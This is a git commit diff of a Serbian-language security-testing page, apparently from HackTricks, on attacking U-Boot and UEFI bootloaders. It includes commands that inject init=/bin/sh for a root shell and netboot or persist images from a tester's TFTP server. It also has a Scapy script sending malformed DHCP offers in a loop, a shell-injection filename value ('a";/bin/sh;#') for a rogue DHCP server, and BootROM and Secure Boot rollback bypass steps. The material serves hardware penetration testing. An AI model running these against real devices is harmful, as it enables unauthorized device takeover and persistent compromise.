Translated ['', 'src/hardware-physical-access/firmware-analysis/bootload

This commit is contained in:
Translator 2025-09-30 02:22:08 +00:00
parent 566064c8e0
commit 99112afee0

View File

@ -1,52 +1,126 @@
# Testiranje bootloader-a
{{#include ../../banners/hacktricks-training.md}}
Preporučeni koraci za modifikaciju konfiguracija pokretanja uređaja i bootloader-a kao što je U-boot:
Sledeći koraci su preporučeni za modifikovanje konfiguracija pokretanja uređaja i testiranje bootloader-a kao što su U-Boot i UEFI-class loaderi. Fokusirajte se na postizanje rane izvršne faze koda, procenu zaštite potpisom/rollback i zloupotrebu recovery ili network-boot puteva.
1. **Pristup Bootloader-ovom Interpreter Shell-u**:
## U-Boot: brzi rezultati i zloupotreba okruženja
- Tokom pokretanja, pritisnite "0", razmak ili druge identifikovane "magične kodove" da biste pristupili bootloader-ovom interpreter shell-u.
1. Pristup interpreter shell-u
- Tokom boot-a pritisnite poznati break taster (često bilo koji taster, 0, space, ili board-specifičnu "magic" sekvencu) pre nego što `bootcmd` izvrši da biste ušli u U-Boot prompt.
2. **Modifikujte Boot Argumente**:
2. Inspekcija stanja boot-a i promenljivih
- Korisne komande:
- `printenv` (dump environment)
- `bdinfo` (board info, memory addresses)
- `help bootm; help booti; help bootz` (supported kernel boot methods)
- `help ext4load; help fatload; help tftpboot` (available loaders)
- Izvršite sledeće komande da dodate '`init=/bin/sh`' boot argumentima, omogućavajući izvršavanje shell komande:
%%%
3. Modifikujte boot argumente da dobijete root shell
- Dodajte `init=/bin/sh` da kernel pređe u shell umesto normalnog init-a:
```
# printenv
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
# setenv bootargs 'console=ttyS0,115200 root=/dev/mtdblock3 rootfstype=<fstype> init=/bin/sh'
# saveenv
#boot
%%%
# boot # or: run bootcmd
```
3. **Postavite TFTP Server**:
4. Netboot sa vašeg TFTP servera
- Konfigurišite mrežu i preuzmite kernel/fit image sa LAN-a:
```
# setenv ipaddr 192.168.2.2 # device IP
# setenv serverip 192.168.2.1 # TFTP server IP
# saveenv; reset
# ping ${serverip}
# tftpboot ${loadaddr} zImage # kernel
# tftpboot ${fdt_addr_r} devicetree.dtb # DTB
# setenv bootargs "${bootargs} init=/bin/sh"
# booti ${loadaddr} - ${fdt_addr_r}
```
- Konfigurišite TFTP server za učitavanje slika preko lokalne mreže:
%%%
#setenv ipaddr 192.168.2.2 #lokalna IP adresa uređaja
#setenv serverip 192.168.2.1 #IP adresa TFTP servera
5. Persistiranje promena preko environment
- Ako skladište env nije write-protected, možete trajno preuzeti kontrolu:
```
# setenv bootcmd 'tftpboot ${loadaddr} fit.itb; bootm ${loadaddr}'
# saveenv
#reset
#ping 192.168.2.1 #proverite pristup mreži
#tftp ${loadaddr} uImage-3.6.35 #loadaddr uzima adresu za učitavanje fajla i ime fajla na TFTP serveru
%%%
```
- Proverite promenljive kao što su `bootcount`, `bootlimit`, `altbootcmd`, `boot_targets` koje utiču na fallback puteve. Pogrešno konfigurisane vrednosti mogu omogućiti ponovne prekide u shell.
4. **Iskoristite `ubootwrite.py`**:
6. Proverite debug/unsafe opcije
- Tražite: `bootdelay` > 0, `autoboot` isključen, neograničeni `usb start; fatload usb 0:1 ...`, mogućnost `loady`/`loads` preko seriala, `env import` sa nepouzdane medije, i kerneli/ramdisk-i učitani bez provere potpisa.
- Koristite `ubootwrite.py` za pisanje U-boot slike i slanje modifikovanog firmvera za dobijanje root pristupa.
7. Testiranje U-Boot image/verifikacije
- Ako platforma tvrdi secure/verified boot sa FIT image-ima, pokušajte sa unsigned i izmenjenim image-ima:
```
# tftpboot ${loadaddr} fit-unsigned.itb; bootm ${loadaddr} # should FAIL if FIT sig enforced
# tftpboot ${loadaddr} fit-signed-badhash.itb; bootm ${loadaddr} # should FAIL
# tftpboot ${loadaddr} fit-signed.itb; bootm ${loadaddr} # should only boot if key trusted
```
- Odsustvo `CONFIG_FIT_SIGNATURE`/`CONFIG_(SPL_)FIT_SIGNATURE` ili legacy `verify=n` ponašanje često dozvoljava boot-ovanje proizvoljnih payload-a.
5. **Proverite Debug Funkcije**:
## Površina network-boot (DHCP/PXE) i rogue serveri
- Proverite da li su debug funkcije kao što su detaljno logovanje, učitavanje proizvoljnih kernela ili pokretanje sa nepouzdanih izvora omogućene.
8. Fuzzing PXE/DHCP parametara
- Legacy BOOTP/DHCP implementacija u U-Boot-u je imala probleme sa bezbednošću memorije. Na primer, CVE202442040 opisuje otkrivanje memorije pomoću crafted DHCP odgovora koji mogu ispuštati bajtove iz U-Boot memorije nazad na mrežu. Testirajte DHCP/PXE kod puteve sa predugačkim/edge-case vrednostima (option 67 bootfile-name, vendor options, file/servername polja) i posmatrajte za zastajkivanja/lekove.
- Minimalan Scapy snippet za stresiranje boot parametara tokom netboot-a:
```python
from scapy.all import *
offer = (Ether(dst='ff:ff:ff:ff:ff:ff')/
IP(src='192.168.2.1', dst='255.255.255.255')/
UDP(sport=67, dport=68)/
BOOTP(op=2, yiaddr='192.168.2.2', siaddr='192.168.2.1', chaddr=b'\xaa\xbb\xcc\xdd\xee\xff')/
DHCP(options=[('message-type','offer'),
('server_id','192.168.2.1'),
# Intentionally oversized and strange values
('bootfile_name','A'*300),
('vendor_class_id','B'*240),
'end']))
sendp(offer, iface='eth0', loop=1, inter=0.2)
```
- Takođe proverite da li se PXE filename polja prosleđuju shell/loader logici bez sanitizacije kad su povezani sa OS-side provisioning skriptama.
6. **Opasna Hardverska Interferencija**:
9. Testiranje rogue DHCP servera za command injection
- Podignite rogue DHCP/PXE servis i pokušajte ubaciti karaktere u filename ili opcije da biste dosegli command interpretere u kasnijim fazama boot lanca. Metasploit-ov DHCP auxiliary, `dnsmasq`, ili custom Scapy skripte dobro rade. Obavezno izolujte lab mrežu prvo.
- Budite oprezni prilikom povezivanja jednog pina na masu i interakcije sa SPI ili NAND flash čipovima tokom sekvence pokretanja uređaja, posebno pre nego što se kernel dekompresuje. Konsultujte tehnički list NAND flash čipa pre nego što kratko spojite pinove.
## SoC BootROM recovery režimi koji prepisuju normalan boot
7. **Konfigurišite Rogue DHCP Server**:
- Postavite rogue DHCP server sa zlonamernim parametrima za uređaj da ih prihvati tokom PXE pokretanja. Iskoristite alate kao što je Metasploit-ov (MSF) DHCP pomoćni server. Modifikujte 'FILENAME' parametar sa komandama za injekciju kao što su `'a";/bin/sh;#'` da biste testirali validaciju unosa za procedure pokretanja uređaja.
Mnogi SoC-ovi izlažu BootROM "loader" mod koji prihvata kod preko USB/UART čak i kada flash image-i nisu validni. Ako secure-boot fuses nisu spaljeni, ovo može obezbediti proizvoljno izvršenje koda veoma rano u lancu.
**Napomena**: Koraci koji uključuju fizičku interakciju sa pinovima uređaja (\*označeni zvezdicama) treba da se pristupaju sa ekstremnim oprezom kako bi se izbeglo oštećenje uređaja.
- NXP i.MX (Serial Download Mode)
- Alati: `uuu` (mfgtools3) ili `imx-usb-loader`.
- Primer: `imx-usb-loader u-boot.imx` da ubacite i pokrenete custom U-Boot iz RAM-a.
- Allwinner (FEL)
- Tool: `sunxi-fel`.
- Primer: `sunxi-fel -v uboot u-boot-sunxi-with-spl.bin` ili `sunxi-fel write 0x4A000000 u-boot-sunxi-with-spl.bin; sunxi-fel exe 0x4A000000`.
- Rockchip (MaskROM)
- Tool: `rkdeveloptool`.
- Primer: `rkdeveloptool db loader.bin; rkdeveloptool ul u-boot.bin` za postavljanje loader-a i upload custom U-Boot-a.
Procenite da li uređaj ima secure-boot eFuses/OTP spaljene. Ako nisu, BootROM download modovi često zaobilaze bilo koju višeg nivo verifikaciju (U-Boot, kernel, rootfs) izvršavajući vaš first-stage payload direktno iz SRAM/DRAM-a.
## UEFI/PC-class bootloader-i: brze provere
10. Manipulacija ESP i rollback testiranje
- Mount-ujte EFI System Partition (ESP) i proverite loader komponente: `EFI/Microsoft/Boot/bootmgfw.efi`, `EFI/BOOT/BOOTX64.efi`, `EFI/ubuntu/shimx64.efi`, `grubx64.efi`, vendor logo path-ove.
- Pokušajte boot sa downgraded ili poznato ranjivim signed boot komponentama ako Secure Boot revocations (dbx) nisu ažurni. Ako platforma i dalje veruje starim shim-ovima/boot manager-ima, često možete učitati svoj kernel ili `grub.cfg` sa ESP-a da biste dobili persistenciju.
11. Bugovi u parsiranju boot logo-a (LogoFAIL klasa)
- Nekoliko OEM/IBV firmvera je bilo ranjivo na image-parsing slabosti u DXE koje procesuiraju boot logo-e. Ako napadač može postaviti crafted image na ESP pod vendor-specifičnim putem (npr. `\EFI\<vendor>\logo\*.bmp`) i reboot-ovati, izvršavanje koda tokom ranog boot-a može biti moguće čak i sa Secure Boot omogućenim. Testirajte da li platforma prihvata user-supplied logo-e i da li su ti path-ovi upisivi iz OS-a.
## Hardverske opasnosti
Budite oprezni prilikom interakcije sa SPI/NAND flash tokom ranog boot-a (npr. uzemljenje pinova da biste zaobišli čitanja) i uvek konsultujte datasheet flash memorije. Pogrešno tempirane kratke veze mogu korumpirati uređaj ili programmer.
## Beleške i dodatni saveti
- Pokušajte `env export -t ${loadaddr}` i `env import -t ${loadaddr}` za premještanje environment blob-ova između RAM-a i skladišta; neke platforme dozvoljavaju import env sa removable media bez autentifikacije.
- Za persistenciju na Linux-based sistemima koji boot-uju preko `extlinux.conf`, modifikovanje `APPEND` linije (da ubacite `init=/bin/sh` ili `rd.break`) na boot particiji je često dovoljno kada nema provere potpisa.
- Ako userland pruža `fw_printenv/fw_setenv`, proverite da `/etc/fw_env.config` odgovara stvarnom env skladištu. Pogrešno konfigurisani offset-i vam omogućavaju čitanje/pisanje pogrešne MTD regije.
## Reference
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
- [https://www.binarly.io/blog/finding-logofail-the-dangers-of-image-parsing-during-system-boot](https://www.binarly.io/blog/finding-logofail-the-dangers-of-image-parsing-during-system-boot)
- [https://nvd.nist.gov/vuln/detail/CVE-2024-42040](https://nvd.nist.gov/vuln/detail/CVE-2024-42040)
{{#include ../../banners/hacktricks-training.md}}